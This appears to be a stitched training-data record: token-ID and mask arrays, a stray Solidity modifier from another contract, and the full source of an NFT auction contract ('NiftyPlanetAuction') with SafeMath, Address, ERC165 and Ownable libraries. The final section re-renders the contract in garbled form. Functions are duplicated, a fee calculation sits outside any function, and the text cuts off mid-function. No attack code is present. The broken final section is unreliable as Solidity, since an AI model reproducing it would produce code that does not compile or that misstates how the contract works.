[ 1, 565, 2254, 5034, 1071, 943, 49, 474, 4782, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x81373f4E8D0BD48bbE8842E9eE16dB7B60c20613/sources/src/Steamer.sol
@dev A modifier which checks if caller is an zeroliquid.
modifier onlyBuffer() { if (msg.sender != buffer) { revert Unauthorized(); } _; }
9,374,981
[ 1, 37, 9606, 1492, 4271, 309, 4894, 353, 392, 24910, 355, 18988, 350, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 1892, 1435, 288, 203, 3639, 309, 261, 3576, 18, 15330, 480, 1613, 13, 288, 203, 5411, 15226, 15799, 5621, 203, 3639, 289, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } /** @title ERC-1155 Multi Token Standard @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1155.md Note: The ERC-165 identifier for this interface is 0xd9b67a26. */ interface IERC1155 is IERC165 { /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_id` argument MUST be the token type being transferred. The `_value` argument MUST be the number of tokens the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _value); /** @dev Either `TransferSingle` or `TransferBatch` MUST emit when tokens are transferred, including zero value transfers as well as minting or burning (see "Safe Transfer Rules" section of the standard). The `_operator` argument MUST be msg.sender. The `_from` argument MUST be the address of the holder whose balance is decreased. The `_to` argument MUST be the address of the recipient whose balance is increased. The `_ids` argument MUST be the list of tokens being transferred. The `_values` argument MUST be the list of number of tokens (matching the list and order of tokens specified in _ids) the holder balance is decreased by and match what the recipient balance is increased by. When minting/creating tokens, the `_from` argument MUST be set to `0x0` (i.e. zero address). When burning/destroying tokens, the `_to` argument MUST be set to `0x0` (i.e. zero address). */ event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _values); /** @dev MUST emit when approval for a second party/operator address to manage all tokens for an owner address is enabled or disabled (absense of an event assumes disabled). */ event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); /** @dev MUST emit when the URI is updated for a token ID. URIs are defined in RFC 3986. The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata URI JSON Schema". */ event URI(string _value, uint256 indexed _id); /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; /** @notice Transfers `_values` amount(s) of `_ids` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if length of `_ids` is not the same as length of `_values`. MUST revert if any of the balance(s) of the holder(s) for token(s) in `_ids` is lower than the respective amount(s) in `_values` sent to the recipient. MUST revert on any other error. MUST emit `TransferSingle` or `TransferBatch` event(s) such that all the balance changes are reflected (see "Safe Transfer Rules" section of the standard). Balance changes and events MUST follow the ordering of the arrays (_ids[0]/_values[0] before _ids[1]/_values[1], etc). After the above conditions for the transfer(s) in the batch are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call the relevant `ERC1155TokenReceiver` hook(s) on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _ids IDs of each token type (order and length must match _values array) @param _values Transfer amounts per token type (order and length must match _ids array) @param _data Additional data with no specified format, MUST be sent unaltered in call to the `ERC1155TokenReceiver` hook(s) on `_to` */ function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _values, bytes calldata _data) external; /** @notice Get the balance of an account's Tokens. @param _owner The address of the token holder @param _id ID of the Token @return The _owner's balance of the Token type requested */ function balanceOf(address _owner, uint256 _id) external view returns (uint256); /** @notice Get the balance of multiple account/token pairs @param _owners The addresses of the token holders @param _ids ID of the Tokens @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair) */ function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory); /** @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens. @dev MUST emit the ApprovalForAll event on success. @param _operator Address to add to the set of authorized operators @param _approved True if the operator is approved, false to revoke approval */ function setApprovalForAll(address _operator, bool _approved) external; /** @notice Queries the approval status of an operator for a given owner. @param _owner The owner of the Tokens @param _operator Address of authorized operator @return True if the operator is approved, false if not */ function isApprovedForAll(address _owner, address _operator) external view returns (bool); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * Collection instance */ abstract contract Collection is IERC1155 { mapping (uint256 => address) public creators; function getFeeRecipients(uint256 id) external virtual view returns (address[] memory); function getFeeBps(uint256 id) external virtual view returns (uint[] memory); } /** * Marketplace Contract */ contract NiftyPlanetAuction is Ownable { using SafeMath for uint256; // Structs struct Item { address collection; uint256 id; } struct Auction { Item item; address owner; uint256 startTime; uint256 endTime; uint256 startPrice; uint256 stepPrice; uint256 lastPrice; address lastBidder; bool canceled; bool finished; } // Variables mapping (uint256 => Auction) public auctions; uint256 public auctionsCount = 0; address public beneficiaryAddress; uint256 public beneficiaryFee = 0; address private storageAddress; // Events event AuctionCreated(address indexed owner, address indexed collection, uint256 indexed tokenId, uint256 id); event AuctionCanceled(address operator, uint256 auction, address indexed collection, uint256 indexed tokenId); event AuctionFinished(address indexed owner, uint256 auction, address indexed collection, uint256 indexed tokenId, uint256 lastPrice, address lastBidder); event Bid(address operator, uint256 auction, uint256 value); // — constructor(address _beneficiaryAddress, address _storageAddress) { beneficiaryAddress = _beneficiaryAddress; storageAddress = _storageAddress; } // — function changeStorageAddress(address _storageAddress) external onlyOwner { storageAddress = _storageAddress; } // — function changeBeneficiaryAddress(address _beneficiaryAddress) external onlyOwner { beneficiaryAddress = _beneficiaryAddress; } // — function changeBeneficiaryFee(uint256 _beneficiaryFee) external onlyOwner { beneficiaryFee = _beneficiaryFee; } // — function getFee(uint256 _sum, uint256 _fee) internal pure returns(uint256) { return _sum.mul(_fee).div(10000); } // — function createAuction(address _collection, uint256 _id, uint256 _startTime, uint256 _endTime, uint256 _startPrice, uint256 _stepPrice, bytes calldata _data) external returns(uint256) { require(Collection(_collection).balanceOf(msg.sender, _id) > 0, "Create: not enough amount of NFT on owner's balance"); require(Collection(_collection).creators(_id) != address(0), "Create: creator is null"); require(_startTime < _endTime, "Start time should be earlier than end time"); auctionsCount++; auctions[auctionsCount] = Auction(Item(_collection, _id), msg.sender, _startTime, _endTime, _startPrice, _stepPrice, 0, msg.sender, false, false); Collection collection = Collection(_collection); collection.safeTransferFrom(msg.sender, storageAddress, _id, 1, _data); emit AuctionCreated(msg.sender, _collection, _id, auctionsCount); return auctionsCount; } // — function cancelAuction(uint256 _id, bytes calldata _data) external { require(msg.sender == auctions[_id].owner || msg.sender == this.owner(), "Cancel: access restricted"); require(auctions[_id].canceled == false, "Cancel: auction is already cancelled"); returnLastBid(_id); auctions[_id].canceled = true; Collection collection = Collection(auctions[_id].item.collection); collection.safeTransferFrom(storageAddress, msg.sender, auctions[_id].item.id, 1, _data); emit AuctionCanceled(msg.sender, _id, auctions[_id].item.collection, auctions[_id].item.id); } // — function makeBid(uint256 _id) payable external { Auction memory auction = auctions[_id]; require(auction.canceled == false,"Bid: Auction has been canceled"); require(block.timestamp > auction.startTime,"Bid: Auction is not started"); require(block.timestamp < auction.endTime,"Bid: Auction is already finished"); require(msg.value >= auction.lastPrice.add(auction.stepPrice), "Bid: New bid price should be higher"); returnLastBid(_id); auctions[_id].lastPrice = msg.value; auctions[_id].lastBidder = msg.sender; } // - function returnLastBid(uint256 _id) internal { if (auctions[_id].lastPrice > 0) { payable(auctions[_id].lastBidder).transfer(auctions[_id].lastPrice); } } // - function finishAuction(uint256 _id, bytes calldata _data) external { require(auctions[_id].canceled == false, "Finish: Auction has been canceled"); require(auctions[_id].finished == false, "Cancel: auction is already finished"); require(block.timestamp >= auctions[_id].endTime, "Finish: Auction has time left"); require(transferWithFees(_id) == true, "Finish: Fees not transferred"); Auction memory auction = auctions[_id]; Collection collection = Collection(auction.item.collection); collection.safeTransferFrom(storageAddress, auction.lastBidder, auction.item.id, 1, _data); auctions[_id].finished = true; emit AuctionFinished(msg.sender, _id, auctions[_id].item.collection, auctions[_id].item.id, auction.lastPrice, auction.lastBidder); } // — function transferWithFees(uint256 _auction) internal returns(bool) { Auction storage auction = auctions[_auction]; uint256 fee = getFee(auction.lastPrice, beneficiaryFee); // Beneficiary fees if (fee > 0) { payable(beneficiaryAddress).transfer(fee); } // Owner and other fees uint256 fees = transferFees(auction.item, auction.lastPrice); payable(auction.owner).transfer(auction.lastPrice.sub(fees)); return true; } // — function transferFees(Item memory _item, uint256 _sum) internal returns(uint256) { Collection collection = Collection(_item.collection); uint[] memory fees = collection.getFeeBps(_item.id); address[] memory recipients = collection.getFeeRecipients(_item.id); uint256 total = 0; for (uint256 i = 0; i < fees.length; i++) { uint256 fee = getFee(_sum, fees[i]); if (fee > 0) { payable(recipients[i]).transfer(fee); total = total.add(fee); } } return total; } }
* Marketplace Contract/ Structs
contract NiftyPlanetAuction is Ownable { using SafeMath for uint256; struct Item { address collection; uint256 id; } struct Auction { Item item; address owner; uint256 startTime; uint256 endTime; uint256 startPrice; uint256 stepPrice; uint256 lastPrice; address lastBidder; bool canceled; bool finished; } uint256 public auctionsCount = 0; address public beneficiaryAddress; uint256 public beneficiaryFee = 0; address private storageAddress; event AuctionCanceled(address operator, uint256 auction, address indexed collection, uint256 indexed tokenId); event AuctionFinished(address indexed owner, uint256 auction, address indexed collection, uint256 indexed tokenId, uint256 lastPrice, address lastBidder); event Bid(address operator, uint256 auction, uint256 value); mapping (uint256 => Auction) public auctions; event AuctionCreated(address indexed owner, address indexed collection, uint256 indexed tokenId, uint256 id); constructor(address _beneficiaryAddress, address _storageAddress) { beneficiaryAddress = _beneficiaryAddress; storageAddress = _storageAddress; } function changeStorageAddress(address _storageAddress) external onlyOwner { storageAddress = _storageAddress; } function changeBeneficiaryAddress(address _beneficiaryAddress) external onlyOwner { beneficiaryAddress = _beneficiaryAddress; } function changeBeneficiaryFee(uint256 _beneficiaryFee) external onlyOwner { beneficiaryFee = _beneficiaryFee; } function getFee(uint256 _sum, uint256 _fee) internal pure returns(uint256) { return _sum.mul(_fee).div(10000); } function createAuction(address _collection, uint256 _id, uint256 _startTime, uint256 _endTime, uint256 _startPrice, uint256 _stepPrice, bytes calldata _data) external returns(uint256) { require(Collection(_collection).balanceOf(msg.sender, _id) > 0, "Create: not enough amount of NFT on owner's balance"); require(Collection(_collection).creators(_id) != address(0), "Create: creator is null"); require(_startTime < _endTime, "Start time should be earlier than end time"); auctionsCount++; auctions[auctionsCount] = Auction(Item(_collection, _id), msg.sender, _startTime, _endTime, _startPrice, _stepPrice, 0, msg.sender, false, false); Collection collection = Collection(_collection); collection.safeTransferFrom(msg.sender, storageAddress, _id, 1, _data); emit AuctionCreated(msg.sender, _collection, _id, auctionsCount); return auctionsCount; } function cancelAuction(uint256 _id, bytes calldata _data) external { require(msg.sender == auctions[_id].owner || msg.sender == this.owner(), "Cancel: access restricted"); require(auctions[_id].canceled == false, "Cancel: auction is already cancelled"); returnLastBid(_id); auctions[_id].canceled = true; Collection collection = Collection(auctions[_id].item.collection); collection.safeTransferFrom(storageAddress, msg.sender, auctions[_id].item.id, 1, _data); emit AuctionCanceled(msg.sender, _id, auctions[_id].item.collection, auctions[_id].item.id); } function makeBid(uint256 _id) payable external { Auction memory auction = auctions[_id]; require(auction.canceled == false,"Bid: Auction has been canceled"); require(block.timestamp > auction.startTime,"Bid: Auction is not started"); require(block.timestamp < auction.endTime,"Bid: Auction is already finished"); require(msg.value >= auction.lastPrice.add(auction.stepPrice), "Bid: New bid price should be higher"); returnLastBid(_id); auctions[_id].lastPrice = msg.value; auctions[_id].lastBidder = msg.sender; } function returnLastBid(uint256 _id) internal { if (auctions[_id].lastPrice > 0) { payable(auctions[_id].lastBidder).transfer(auctions[_id].lastPrice); } } function returnLastBid(uint256 _id) internal { if (auctions[_id].lastPrice > 0) { payable(auctions[_id].lastBidder).transfer(auctions[_id].lastPrice); } } function finishAuction(uint256 _id, bytes calldata _data) external { require(auctions[_id].canceled == false, "Finish: Auction has been canceled"); require(auctions[_id].finished == false, "Cancel: auction is already finished"); require(block.timestamp >= auctions[_id].endTime, "Finish: Auction has time left"); require(transferWithFees(_id) == true, "Finish: Fees not transferred"); Auction memory auction = auctions[_id]; Collection collection = Collection(auction.item.collection); collection.safeTransferFrom(storageAddress, auction.lastBidder, auction.item.id, 1, _data); auctions[_id].finished = true; emit AuctionFinished(msg.sender, _id, auctions[_id].item.collection, auctions[_id].item.id, auction.lastPrice, auction.lastBidder); } function transferWithFees(uint256 _auction) internal returns(bool) { Auction storage auction = auctions[_auction]; uint256 fee = getFee(auction.lastPrice, beneficiaryFee); if (fee > 0) { payable(beneficiaryAddress).transfer(fee); } payable(auction.owner).transfer(auction.lastPrice.sub(fees)); return true; } function transferWithFees(uint256 _auction) internal returns(bool) { Auction storage auction = auctions[_auction]; uint256 fee = getFee(auction.lastPrice, beneficiaryFee); if (fee > 0) { payable(beneficiaryAddress).transfer(fee); } payable(auction.owner).transfer(auction.lastPrice.sub(fees)); return true; } uint256 fees = transferFees(auction.item, auction.lastPrice); function transferFees(Item memory _item, uint256 _sum) internal returns(uint256) { Collection collection = Collection(_item.collection); uint[] memory fees = collection.getFeeBps(_item.id); address[] memory recipients = collection.getFeeRecipients(_item.id); uint256 total = 0; for (uint256 i = 0; i < fees.length; i++) { uint256 fee = getFee(_sum, fees[i]); if (fee > 0) { payable(recipients[i]).transfer(fee); total = total.add(fee); } } return total; } function transferFees(Item memory _item, uint256 _sum) internal returns(uint256) { Collection collection = Collection(_item.collection); uint[] memory fees = collection.getFeeBps(_item.id); address[] memory recipients = collection.getFeeRecipients(_item.id); uint256 total = 